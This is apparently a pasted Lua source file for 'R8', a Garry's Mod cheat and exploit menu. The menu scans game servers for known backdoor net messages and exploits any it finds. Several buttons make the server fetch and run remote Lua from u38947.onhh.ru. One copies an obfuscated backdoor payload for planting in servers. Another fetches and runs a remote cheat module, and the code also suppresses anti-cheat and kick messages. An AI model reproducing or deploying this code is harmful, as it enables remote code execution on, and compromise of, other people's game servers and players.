· 5 years ago · Mar 29, 2020, 04:58 AM
1R8 = R8 or {}
2R8.Modules = R8.Modules or {}
3
4
5concommand.Add('trace', function(pl)
6 local prop = pl:GetEyeTrace().Entity
7
8 if IsValid(prop) then
9 pl:PrintMessage(HUD_PRINTCONSOLE, prop:GetClass())
10 pl:PrintMessage(HUD_PRINTCONSOLE, 'mdl = \'' .. prop:GetModel() .. '\',')
11 pl:PrintMessage(HUD_PRINTCONSOLE, 'pos = Vector(' .. string.gsub(tostring(prop:GetPos()), ' ', ', ') .. '),')
12 pl:PrintMessage(HUD_PRINTCONSOLE, 'ang = Angle(' .. string.gsub(tostring(prop:GetAngles()), ' ', ', ') .. '),')
13 pl:PrintMessage(HUD_PRINTCONSOLE, 'mat = \'' .. prop:GetMaterial() .. '\',')
14 end
15end)
16
17surface.CreateFont("exitmenu", {
18 font = "Arial",
19 size = 20,
20 weight = 1000,
21 shadow = false,
22 outline = false
23})
24
25local function exitmenu(panel, X, y)
26 local CButton = vgui.Create("DButton", panel)
27 CButton:SetTextColor(Color(150, 150, 150))
28 CButton:SetText("РҐ")
29 CButton:SetFont("exitmenu")
30 CButton:SetPos(X, y)
31 CButton:SetSize(50, 24)
32
33 CButton.DoClick = function()
34 panel:SizeTo(0, 0, .2, 0, .2)
35
36 timer.Simple(0.3, function()
37 panel:SetVisible(false)
38 end)
39 end
40
41 CButton.Paint = function(panel, w, h)
42 surface.SetDrawColor(Color(0, 0, 0, 255))
43 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
44 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
45 end
46
47 CButton.OnCursorEntered = function(self)
48 surface.PlaySound("garrysmod/ui_hover.wav")
49
50 CButton.Paint = function(panel, w, h)
51 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
52 end
53 end
54
55 -------------------------------------------------------------
56 CButton.OnCursorExited = function(self)
57 CButton.Paint = function(panel, w, h)
58 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
59 end
60 end
61 ------------------------------------------------------------------------
62end
63
64local blur = Material("pp/blurscreen")
65
66local function DrawBlur(panel, amount)
67 local x, y = panel:LocalToScreen(0, 0)
68 local scrW, scrH = ScrW(), ScrH()
69 surface.SetDrawColor(255, 255, 255)
70 surface.SetMaterial(blur)
71
72 for i = 1, 3 do
73 blur:SetFloat("$blur", (i / 3) * (amount or 6))
74 blur:Recompute()
75 render.UpdateScreenEffectTexture()
76 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
77 end
78end
79
80netKey = "memeDoor"
81BackdoorsFound = 0
82
83function ValidNetString(str)
84 local status, error = pcall(net.Start, str)
85
86 return status
87end
88
89BackDoor_net = {
90 {
91 NetWork = "Sandbox_ArmDupe"
92 },
93 {
94 NetWork = "Sbox_darkrp"
95 },
96 {
97 NetWork = "Sbox_itemstore"
98 },
99 {
100 NetWork = "Ulib_Message"
101 },
102 {
103 NetWork = "ULogs_Info"
104 },
105 {
106 NetWork = "ITEM"
107 },
108 {
109 NetWork = "R8"
110 },
111 {
112 NetWork = "fix"
113 },
114 {
115 NetWork = "Fix_Keypads"
116 },
117 {
118 NetWork = "Remove_Exploiters"
119 },
120 {
121 NetWork = "noclipcloakaesp_chat_text"
122 },
123 {
124 NetWork = "_Defqon"
125 },
126 {
127 NetWork = "_CAC_ReadMemory",
128"nostrip"
129 },
130 {
131 NetWork = "nocheat"
132 },
133 {
134 NetWork = "LickMeOut"
135 },
136 {
137 NetWork = "ULX_QUERY2"
138 },
139 {
140 NetWork = "ULXQUERY2"
141 },
142 {
143 NetWork = "MoonMan"
144 },
145 {
146 NetWork = "Im_SOCool"
147 },
148 {
149 NetWork = "Sandbox_GayParty"
150 },
151 {
152 NetWork = "DarkRP_UTF8"
153 },
154 {
155 NetWork = "oldNetReadData"
156 },
157 {
158 NetWork = "memeDoor"
159 },
160 {
161 NetWork = "BackDoor"
162 },
163 {
164 NetWork = "OdiumBackDoor"
165 },
166 {
167 NetWork = "SessionBackdoor"
168 },
169 {
170 NetWork = "DarkRP_AdminWeapons"
171 },
172 {
173 NetWork = "cucked"
174 },
175 {
176 NetWork = "NoNerks"
177 },
178 {
179 NetWork = "kek"
180 },
181 {
182 NetWork = "ZimbaBackDoor"
183 },
184 {
185 NetWork = "something"
186 },
187 {
188 NetWork = "random"
189 },
190 {
191 NetWork = "strip0"
192 },
193 {
194 NetWork = "fellosnake"
195 },
196 {
197 NetWork = "enablevac"
198 },
199 {
200 NetWork = "idk"
201 },
202 {
203 NetWork = "c"
204 },
205 {
206 NetWork = "killserver"
207 },
208 {
209 NetWork = "fuckserver"
210 },
211 {
212 NetWork = "cvaraccess"
213 },
214 {
215 NetWork = "rcon"
216 },
217 {
218 NetWork = "rconadmin"
219 },
220 {
221 NetWork = "web"
222 },
223 {
224 NetWork = "jesuslebg"
225 },
226 {
227 NetWork = "zilnix"
228 },
229 {
230 NetWork = "ГћГ ?D)в—"
231 },
232 {
233 NetWork = "disablebackdoor"
234 },
235 {
236 NetWork = "kill"
237 },
238 {
239 NetWork = "DefqonBackdoor"
240 }
241}
242
243function checkbackdoors()
244 for k, v in pairs(BackDoor_net) do
245 if (ValidNetString(v.NetWork)) then
246 BackdoorsFound = 1 + BackdoorsFound
247 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
248 end
249 end
250end
251
252CreateClientConVar("menu_r", "148", true, false)
253CreateClientConVar("menu_g", "0", true, false)
254CreateClientConVar("menu_b", "211", true, false)
255
256--------------------------------------------------------------------------------------------
257surface.CreateFont("Main", {
258 font = "Arial",
259 size = 20,
260 weight = 1000,
261 shadow = false,
262 outline = false
263})
264
265local insertdown2, insertdown, menuopen
266
267function MainMenu()
268 local x1 = vgui.Create("DFrame")
269 x1:SetPos(700, 300)
270 x1:SizeTo(300, 400, .3, 0, .3)
271 exitmenu(x1, 249, 1)
272 x1:SetTitle(" ")
273 x1:ShowCloseButton(false)
274 x1:SetVisible(true)
275 x1:MakePopup()
276
277 function x1:Paint()
278 DrawBlur(self, 5)
279 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
280 surface.SetDrawColor(Color(0, 0, 0, 255))
281 surface.DrawOutlinedRect(0, 0, x1:GetSize())
282 ---------------------------------------------------------
283 surface.DrawOutlinedRect(0, 110, x1:GetSize())
284 --surface.DrawOutlinedRect( 0, 130, x1:GetSize() )
285 ---------------------------------------------------------
286 surface.DrawOutlinedRect(0, 25, x1:GetSize())
287 -------------------------------------------------
288 surface.DrawOutlinedRect(0, 0, 249, 26)
289 surface.DrawOutlinedRect(0, 110, 101, 90)
290 surface.DrawOutlinedRect(0, 110, 500, 90)
291 --surface.DrawOutlinedRect( 0, 30, x1:GetSize() )
292 --
293 surface.DrawOutlinedRect(100, 25, x1:GetSize())
294 --
295 --surface.DrawOutlinedRect( -6, 25, x1:GetSize() )
296 --
297 --surface.DrawOutlinedRect( 0, -6, x1:GetSize() )
298 ------------------------------------------------
299 end
300
301 x1.Think = function()
302 if (input.IsKeyDown(KEY_INSERT) and not insertdown2) then
303 x1:SizeTo(0, 0, .2, 0, .2)
304
305 timer.Simple(0.1, function()
306 x1:Remove()
307 end)
308
309 menuopen = false
310 end
311 end
312
313 local function Think()
314 if (input.IsKeyDown(KEY_INSERT) and not menuopen and not insertdown) then
315 menuopen = true
316 insertdown = true
317 MainMenu()
318 elseif (not input.IsKeyDown(KEY_INSERT) and not menuopen) then
319 insertdown = false
320 end
321
322 if (input.IsKeyDown(KEY_INSERT) and insertdown and menuopen) then
323 insertdown2 = true
324 else
325 insertdown2 = false
326 end
327 end
328
329 hook.Add("Think", "", Think)
330 local news_p1 = vgui.Create("DPanel", x1)
331 news_p1:SetPos(100, 200)
332 news_p1:SetSize(200, 200)
333
334 -- Paint will paint the current page (Changing color, shape, etc)
335 news_p1.Paint = function(self, w, h)
336 draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40, 170))
337 end
338
339 local richtext = vgui.Create("RichText", news_p1)
340 richtext:Dock(FILL)
341 local TheReturnedHTML = "" -- Blankness
342
343 http.Fetch("http://u38947.onhh.ru/VG2X212E112/news.lua", function(body, len, headers, code)
344 TheReturnedHTML = body
345 richtext:SetText(TheReturnedHTML)
346 end, function(error)
347 richtext:SetText("Не удалось получить новости с нашего сервера. \n Возможно, у вас пропало соединение с интернетом \n или наши сервера временно не доступны.")
348 end)
349
350 local q1 = vgui.Create("DHTML", x1)
351 q1:OpenURL("http://u38947.onhh.ru/logo90x90.png")
352 q1:SetSize(150, 150)
353 q1:SetPos(6, 110)
354
355 surface.CreateFont("B1", {
356 font = "Arial",
357 size = 20,
358 weight = 1000,
359 shadow = false,
360 outline = false
361 })
362
363 ex = true
364 ct = true
365 nh = true
366
367 func_table = {
368 --
369 {
370 ---------------------------------------
371 Name = "Exploit",
372 Func = function()
373 -- if ex then
374 -- R8.Modules.Exploit()
375 -- end
376
377 ex = false
378 x1:SizeTo(0, 0, .2, 0, .2)
379 x1:SetVisible(false)
380
381 timer.Simple(0.5, function()
382 LocalPlayer():ConCommand('R8_Exploit')
383 end)
384
385 surface.PlaySound("garrysmod/ui_click.wav")
386 end
387 },
388 ---------------------------------------
389 --
390 {
391 ---------------------------------------
392 Name = "Cheat",
393 Func = function()
394 if ct then
395 http.Fetch('http://u38947.onhh.ru/R8/modules/ampirs.lua', RunString)
396 end
397
398 ct = false
399 x1:SizeTo(0, 0, .2, 0, .2)
400 x1:SetVisible(false)
401
402 timer.Simple(0.5, function()
403 LocalPlayer():ConCommand('Ampris_menu')
404 end)
405
406 surface.PlaySound("garrysmod/ui_click.wav")
407 end
408 },
409 ---------------------------------------
410 --
411 --
412 {
413 ---------------------------------------
414 Name = 'BackDoor',
415 Func = function()
416 if nh then
417 R8.Modules.BackDoor()
418 end
419
420 nh = false
421 x1:SizeTo(0, 0, .2, 0, .2)
422 x1:SetVisible(false)
423
424 timer.Simple(0.5, function()
425 LocalPlayer():ConCommand('bd_menu')
426 end)
427
428 surface.PlaySound("garrysmod/ui_click.wav")
429 end
430 }
431 }
432
433 ---------------------------------------
434 --
435 for k, v in pairs(func_table) do
436 local Buttons = vgui.Create("DButton", x1)
437 Buttons:Dock(4)
438 Buttons:DockMargin(0, 0, 200, 5)
439 Buttons:SetText(v.Name)
440 Buttons:SetFont('B1')
441 Buttons:SetTextColor(Color(255, 255, 255, 255))
442 Buttons.DoClick = v.Func
443
444 Buttons.OnCursorEntered = function(self)
445 surface.PlaySound("garrysmod/ui_hover.wav")
446 end
447
448 function Buttons:Paint()
449 --draw.SimpleText( "|", "B1", 5, 0, Color( 255, 255, 255, 200 ), 0, 0 )
450 --
451 --draw.SimpleText( "|", "B1", 270, 0, Color( 255, 255, 255, 200 ), 0, 0 )
452 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
453 surface.SetDrawColor(Color(0, 0, 0, 255))
454 surface.DrawOutlinedRect(0, 0, Buttons:GetSize())
455 surface.DrawOutlinedRect(0, 25, Buttons:GetSize())
456 end
457 end
458
459 -----------------------------------------------------------------------------
460 local b5 = vgui.Create("DButton", x1)
461 b5:Dock(TOP)
462 b5:DockMargin(100, -81, 0, 5)
463 b5:SetText('| BackDoor | Check |')
464 b5:SetFont('B1')
465 b5:SetTextColor(Color(255, 255, 255, 255))
466
467 function b5:DoClick()
468 surface.PlaySound("garrysmod/ui_click.wav")
469 checkbackdoors()
470 end
471
472 b5.OnCursorEntered = function(self)
473 surface.PlaySound("garrysmod/ui_hover.wav")
474 end
475
476 function b5:Paint()
477 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
478 surface.SetDrawColor(Color(0, 0, 0, 255))
479 surface.DrawOutlinedRect(0, 0, b5:GetSize())
480 surface.DrawOutlinedRect(0, 25, b5:GetSize())
481 end
482
483 local b6 = vgui.Create("DButton", x1)
484 b6:Dock(TOP)
485 b6:DockMargin(100, 0, 0, 5)
486 b6:SetText('Theme Color')
487 b6:SetFont('B1')
488 b6:SetTextColor(Color(255, 255, 255, 255))
489
490 b6.OnCursorEntered = function(self)
491 surface.PlaySound("garrysmod/ui_hover.wav")
492 end
493
494 function b6:DoClick()
495 surface.PlaySound("garrysmod/ui_click.wav")
496 LocalPlayer():ConCommand('R8_theme')
497 end
498
499 function b6:Paint()
500 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
501 surface.SetDrawColor(Color(0, 0, 0, 255))
502 surface.DrawOutlinedRect(0, 0, b6:GetSize())
503 surface.DrawOutlinedRect(0, 25, b6:GetSize())
504 end
505
506 local b7 = vgui.Create("DButton", x1)
507 b7:Dock(TOP)
508 b7:DockMargin(100, 0, 0, 5)
509 b7:SetText("Copy BackDoor")
510 b7:SetFont('B1')
511 b7:SetTextColor(Color(255, 255, 255, 255))
512
513 function b7:DoClick()
514 surface.PlaySound("garrysmod/ui_click.wav")
515 local backdoorr8 = [[local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),25)) end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪'6c6d7075'][‪‪‪‪‪‪‪'587d7d577c6d6e766b724a6d6b70777e'](‪‪‪‪‪‪‪'4b21')‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c7a7c706f7c'](‪‪‪‪‪‪‪'4b21',function ()local false‪=‪[‪‪‪‪‪‪‪'5a76746970757c4a6d6b70777e'](‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c787d4a6d6b70777e'](),‪‪‪‪‪‪‪'556c785a747d',false )if ‪[‪‪‪‪‪‪‪'706a7f6c777a6d707677'](false‪)then false‪()end end )]]
516 SetClipboardText(backdoorr8)
517 LocalPlayer():ChatPrint('Скопировано в буфер обмена.')
518 end
519
520 b7.OnCursorEntered = function(self)
521 surface.PlaySound("garrysmod/ui_hover.wav")
522 end
523
524 function b7:Paint()
525 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
526 surface.SetDrawColor(Color(0, 0, 0, 255))
527 surface.DrawOutlinedRect(0, 0, b7:GetSize())
528 surface.DrawOutlinedRect(0, 25, b7:GetSize())
529 end
530
531 -----------------------------------------------------------------------------
532 -----------------------------------------------------------------------------
533 local b8 = vgui.Create("DButton", x1)
534 b8:Dock(TOP)
535 b8:DockMargin(100, 6, 0, 5)
536 b8:SetText('Love you.')
537 b8:SetFont('B1')
538 b8:SetTextColor(Color(255, 255, 255, 255))
539
540 function b8:DoClick()
541 surface.PlaySound("garrysmod/ui_click.wav")
542
543 for k, v in pairs(BackDoor_net) do
544 if (ValidNetString(v.NetWork)) then
545 net.Start(v.NetWork)
546 net.WriteString([[for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "[R8] Love you.")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end]])
547 net.WriteBit(1)
548 net.SendToServer()
549 end
550 end
551 end
552
553 b8.OnCursorEntered = function(self)
554 surface.PlaySound("garrysmod/ui_hover.wav")
555 end
556
557 function b8:Paint()
558 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
559 surface.SetDrawColor(Color(0, 0, 0, 255))
560 surface.DrawOutlinedRect(0, 0, b8:GetSize())
561 surface.DrawOutlinedRect(0, 25, b8:GetSize())
562 end
563
564 local b9 = vgui.Create("DButton", x1)
565 b9:Dock(TOP)
566 b9:DockMargin(100, 0, 0, 5)
567 b9:SetText('Disco Time - BackDoor')
568 b9:SetFont('B1')
569 b9:SetTextColor(Color(255, 255, 255, 255))
570
571 function b9:DoClick()
572 surface.PlaySound("garrysmod/ui_click.wav")
573
574 for k, v in pairs(BackDoor_net) do
575 if (ValidNetString(v.NetWork)) then
576 net.Start(v.NetWork)
577 net.WriteString("http.Fetch(\"http://u38947.onhh.ru/R8/backdoor/disco.lua\",function(b,l,h,c)RunString(b)end,nil)")
578 net.WriteBit(1)
579 net.SendToServer()
580 end
581 end
582 end
583
584 b9.OnCursorEntered = function(self)
585 surface.PlaySound("garrysmod/ui_hover.wav")
586 end
587
588 function b9:Paint()
589 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
590 surface.SetDrawColor(Color(0, 0, 0, 255))
591 surface.DrawOutlinedRect(0, 0, b9:GetSize())
592 surface.DrawOutlinedRect(0, 25, b9:GetSize())
593 end
594
595 local b10 = vgui.Create("DButton", x1)
596 b10:Dock(TOP)
597 b10:DockMargin(100, 0, 0, 3)
598 b10:SetText('R8 - BackDoor')
599 b10:SetFont('B1')
600 b10:SetTextColor(Color(255, 255, 255, 255))
601
602 function b10:DoClick()
603 surface.PlaySound("garrysmod/ui_click.wav")
604
605 for k, v in pairs(BackDoor_net) do
606 if (ValidNetString(v.NetWork)) then
607 net.Start(v.NetWork)
608 net.WriteString("http.Fetch(\"http://u38947.onhh.ru/R8/backdoor/R8_backdoor.lua\",function(b,l,h,c)RunString(b)end,nil)")
609 net.WriteBit(1)
610 net.SendToServer()
611 end
612 end
613 end
614
615 b10.OnCursorEntered = function(self)
616 surface.PlaySound("garrysmod/ui_hover.wav")
617 end
618
619 function b10:Paint()
620 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
621 surface.SetDrawColor(Color(0, 0, 0, 255))
622 surface.DrawOutlinedRect(0, 0, b10:GetSize())
623 surface.DrawOutlinedRect(0, 25, b10:GetSize())
624 end
625
626 ------------------------------------------------------------------------------------------------------------------------
627 function ColorMenu()
628 local ColorMenu = vgui.Create("DFrame")
629 ColorMenu:SetPos(399, 300)
630 ColorMenu:SizeTo(300, 265, .3, 0, .3)
631 ColorMenu:MakePopup()
632 ColorMenu:SetTitle("")
633 ColorMenu:SetVisible(true)
634 ColorMenu:ShowCloseButton(false)
635 exitmenu(ColorMenu, 249, 1)
636
637 ColorMenu.Paint = function(self, w, h)
638 DrawBlur(self, 3)
639 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
640 surface.SetDrawColor(Color(0, 0, 0, 255))
641 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
642 surface.DrawOutlinedRect(0, 25, ColorMenu:GetSize())
643 -------------------------------------------------
644 surface.DrawOutlinedRect(0, 0, 249, 26)
645 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
646 end
647
648 local color2 = vgui.Create("DColorMixer", ColorMenu)
649 color2:Dock(TOP)
650 color2:DockMargin(0, 0, 0, 0)
651 color2:SetPalette(false)
652 color2:SetWangs(false)
653 color2:SetAlphaBar(false)
654 color2:SetColor(Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 255))
655
656 function color2:ValueChanged(color)
657 LocalPlayer():ConCommand("menu_r " .. color.r)
658 LocalPlayer():ConCommand("menu_g " .. color.g)
659 LocalPlayer():ConCommand("menu_b " .. color.b)
660 end
661 end
662
663 concommand.Add('R8_theme', ColorMenu)
664
665 -----------------------------------------------------------------------------
666 local table_credits = {
667 {
668 text = "Developer",
669 durl = "https://vk.com/id442102553"
670 },
671 {
672 text = "Discord",
673 durl = "https://discord.gg/p24GfaZ"
674 },
675 {
676 text = "Friend's",
677 durl = "https://discord.gg/AnMS3me"
678 },
679 {
680 text = "Sponsor",
681 durl = "https://vk.com/pirohok123"
682 }
683 }
684
685 for k, v in pairs(table_credits) do
686 local Credits = vgui.Create("DButton", x1)
687 Credits:Dock(5)
688 Credits:DockMargin(1, 5, 199, 5)
689 Credits:SetText(v.text)
690 Credits:SetFont('B1')
691 Credits:SetTextColor(Color(255, 255, 255, 255))
692
693 Credits.OnCursorEntered = function(self)
694 surface.PlaySound("garrysmod/ui_hover.wav")
695 end
696
697 function Credits:DoClick()
698 surface.PlaySound("garrysmod/ui_click.wav")
699 gui.OpenURL(v.durl)
700 end
701
702 function Credits:Paint()
703 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
704 surface.SetDrawColor(Color(0, 0, 0, 255))
705 surface.DrawOutlinedRect(0, 0, Credits:GetSize())
706 surface.DrawOutlinedRect(0, 25, Credits:GetSize())
707 end
708 end
709end
710
711concommand.Add('R8_Menu', MainMenu)
712
713
714//////////// [BASIC SHIT] ////////////
715local blur = Material("pp/blurscreen")
716
717local function DrawBlur(panel, amount)
718 local x, y = panel:LocalToScreen(0, 0)
719 local scrW, scrH = ScrW(), ScrH()
720 surface.SetDrawColor(255, 255, 255)
721 surface.SetMaterial(blur)
722
723 for i = 1, 3 do
724 blur:SetFloat("$blur", (i / 3) * (amount or 6))
725 blur:Recompute()
726 render.UpdateScreenEffectTexture()
727 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
728 end
729end
730
731CreateClientConVar("menu_r", "0", true, false)
732CreateClientConVar("menu_g", "0", true, false)
733CreateClientConVar("menu_b", "0", true, false)
734
735-- Solly copypaste
736if (istable(MOTDgd)) then
737 MOTDgd = {}
738
739 function MOTDgd.Show()
740 end
741
742 function MOTDgd.GetIfSkip()
743 return true
744 end
745end
746
747local function exitmenu(panel, X, y)
748 local CButton = vgui.Create("DButton", panel)
749 CButton:SetTextColor(Color(150, 150, 150))
750 CButton:SetText("РҐ")
751 CButton:SetFont("exitmenu")
752 CButton:SetPos(X, y)
753 CButton:SetSize(50, 24)
754
755 CButton.DoClick = function()
756 panel:SizeTo(0, 0, .2, 0, .2)
757
758 timer.Simple(0.3, function()
759 panel:SetVisible(false)
760 end)
761 end
762
763 CButton.Paint = function(panel, w, h)
764 surface.SetDrawColor(Color(0, 0, 0, 255))
765 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
766 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
767 end
768
769 CButton.OnCursorEntered = function(self)
770 surface.PlaySound("garrysmod/ui_hover.wav")
771
772 CButton.Paint = function(panel, w, h)
773 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
774 end
775 end
776
777 -------------------------------------------------------------
778 CButton.OnCursorExited = function(self)
779 CButton.Paint = function(panel, w, h)
780 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
781 end
782 end
783 ------------------------------------------------------------------------
784end
785
786function random_string(length)
787 math.randomseed(os.time())
788
789 if length > 0 then
790 return random_string(length - 1) .. charset[math.random(1, #charset)]
791 else
792 return ""
793 end
794end
795
796local s = {}
797s.duel = {}
798s.duel[1] = table.Random(player.GetAll())
799s.duel[2] = table.Random(player.GetAll())
800s.duel[2] = 3
801s.duel[3] = -9999999
802
803--////////// [CHAT TEXT] ////////////
804function ECPrint(str)
805 chat.AddText(Color(150, 150, 150), "[R8] ", Color(255, 255, 255), str)
806end
807
808--////////// [NOTIFY] ////////////
809local function ECNotify(text)
810 local notify = vgui.Create("DPanel")
811 notify:SetSize(200, 50)
812 notify:SetPos(ScrW() - 200, -50)
813
814 notify.Paint = function(self, w, h)
815 draw.RoundedBox(0, 0, 0, w, h, Color(50, 50, 50))
816 local bars = 50
817
818 for i = 0, bars do
819 local rainbow = HSVToColor(CurTime() % 6 * 60 + i, 1, 1)
820 draw.RoundedBox(0, i * w / bars, notify:GetTall() - 2, w / bars, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
821 end
822
823 --draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
824 draw.SimpleText(text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
825 end
826
827 notify:MoveTo(ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
828 timer.Simple(3, function()
829 notify:MoveTo(ScrW() - notify:GetWide(), -50, .2, 0, -1)
830 end)
831 end)
832end
833
834--////////// [CLEAR CHAT] ////////////
835function clearchat()
836 for i = 0, 100 do
837 chat.AddText(" ")
838 end
839end
840
841--////////// [REMOVE ALL ERRORS] ////////////
842concommand.Add("removerrors", function()
843 hook.Add("Think", "wow", function()
844 for k, v in pairs(ents.GetAll()) do
845 if (v:GetModel():find("models/error.mdl")) then
846 v:SetModel("models/player/group01/male_02.mdl")
847 print(v:Nick() .. " model reset due to models/error.mdl")
848 end
849 end
850 end)
851end)
852
853--////////// [VAPE] ////////////
854function Vape()
855 timer.Simple(0, function()
856 RunConsoleCommand("+attack")
857 end)
858
859 timer.Simple(5.134, function()
860 RunConsoleCommand("-attack")
861 end)
862end
863
864concommand.Add("vape", Vape)
865concommand.Add("clearchat", clearchat)
866
867--////////// [CAC CHECKER] ////////////
868if (_G.QAC or _G.CAC) then
869 chat.AddText(Color(0, 255, 255), "[", "R8", "] ", Color(255, 255, 255), "The server has Cake Anti Cheat!")
870end
871
872function Initialize()
873 print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
874 surface.PlaySound("HL1/fvox/bell.wav")
875 -- surface.PlaySound("buttons/button15.wav")
876 ECNotify("Loaded Successfully!")
877 net.Receive("DL_Answering_global", function(_len) end) -- Stop LocalPlayer from getting kicked whilst kicking all
878 net.Receive("metro_notification", function() return end) -- Disable Metro Notification
879
880 --////////// Font Creation ////////////
881 --
882 surface.CreateFont("Roboto", {
883 font = "Roboto",
884 size = 18
885 })
886
887 --
888 surface.CreateFont("Calibri-sm", {
889 font = "Calibri",
890 size = 15
891 })
892
893 --
894 surface.CreateFont("Calibri-l", {
895 font = "Calibri",
896 size = 21
897 })
898
899 --
900 surface.CreateFont("tahoma", {
901 font = "Tahoma",
902 size = 15
903 })
904 --
905end
906
907Initialize() -- Initializes basic shit for when menu is loaded.
908
909function ValidNetString(str)
910 local status, error = pcall(net.Start, str)
911
912 return status
913end
914
915------------------------------------------------------------------------
916--////////// [MENU] ////////////
917function draw.OutlinedBox(x, y, w, h, thickness, clr)
918 surface.SetDrawColor(clr)
919
920 for i = 0, thickness - 1 do
921 surface.DrawOutlinedRect(x + i, y + i, w - i * 2, h - i * 2)
922 end
923end
924
925-------------------------------------------------------------------------------------------
926surface.CreateFont("Main", {
927 font = "Arial",
928 size = 20,
929 weight = 1000,
930 shadow = false,
931 outline = false
932})
933
934function R8_Menu()
935 local menu = vgui.Create("DFrame")
936 menu:Center()
937 menu:SizeTo(300, 350, .3, 0, .3)
938 exitmenu(menu, 249, 1)
939 menu:SetTitle(" ")
940 menu:ShowCloseButton(false)
941 menu:MakePopup()
942
943 function menu:Paint()
944 DrawBlur(self, 5)
945 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
946 draw.SimpleText(totalSploits .. "/302 Exploits - R8", "Roboto", 5, 3, Color(255, 255, 255, 200), 0, 0)
947
948 if totalSploits == 0 then
949 draw.SimpleText("Рксплойтов РЅРµ найдено!", "Roboto", 65, 150, Color(255, 255, 255, 200), 0, 0)
950 end
951
952 surface.SetDrawColor(Color(0, 0, 0, 255))
953 surface.DrawOutlinedRect(0, 0, menu:GetSize())
954 surface.DrawOutlinedRect(0, 0, 249, 26) -- палочка для кнопки
955 surface.DrawOutlinedRect(0, 25, menu:GetSize())
956 end
957
958 --////////// [TABS] ////////////
959 local tabs = vgui.Create("DPropertySheet", menu)
960 tabs:Dock(FILL)
961 tabs:DockPadding(-5, 5, 0, 0)
962
963 tabs.Paint = function(self, w, h)
964 for k, v in pairs(tabs.Items) do
965 if (not v.Tab) then continue end
966
967 v.Tab.Paint = function(self, w, h)
968 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
969 draw.RoundedBox(0, 0, 22, w - 2, 1, Color(45, 45, 45, 255))
970
971 if (tabs:GetActiveTab() == v.Tab) then
972 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
973 --draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 255, 255, 255, 255 ) )
974 draw.RoundedBox(0, 0, 22, w, 1, Color(255, 255, 255, 255))
975 end
976 end
977 end
978 end
979
980 --////////// [PANELS] ////////////
981 local exploitsPanel = vgui.Create("DPanel", menu)
982 exploitsPanel:Dock(1)
983
984 exploitsPanel.Paint = function(self, w, h)
985 draw.RoundedBox(0, 0, 0, w, h, Color(25, 25, 25, 100))
986 draw.OutlinedBox(0, 0, w, h, 1, Color(0, 0, 0))
987 end
988
989 local exploitsScrollPanel = vgui.Create("DScrollPanel", exploitsPanel)
990 exploitsScrollPanel:Dock(FILL)
991
992 //////////// [NEW EXPLOIT] ////////////
993 --------------------
994 totalSploits = 0
995
996 function addExploit(id, text, desc, func)
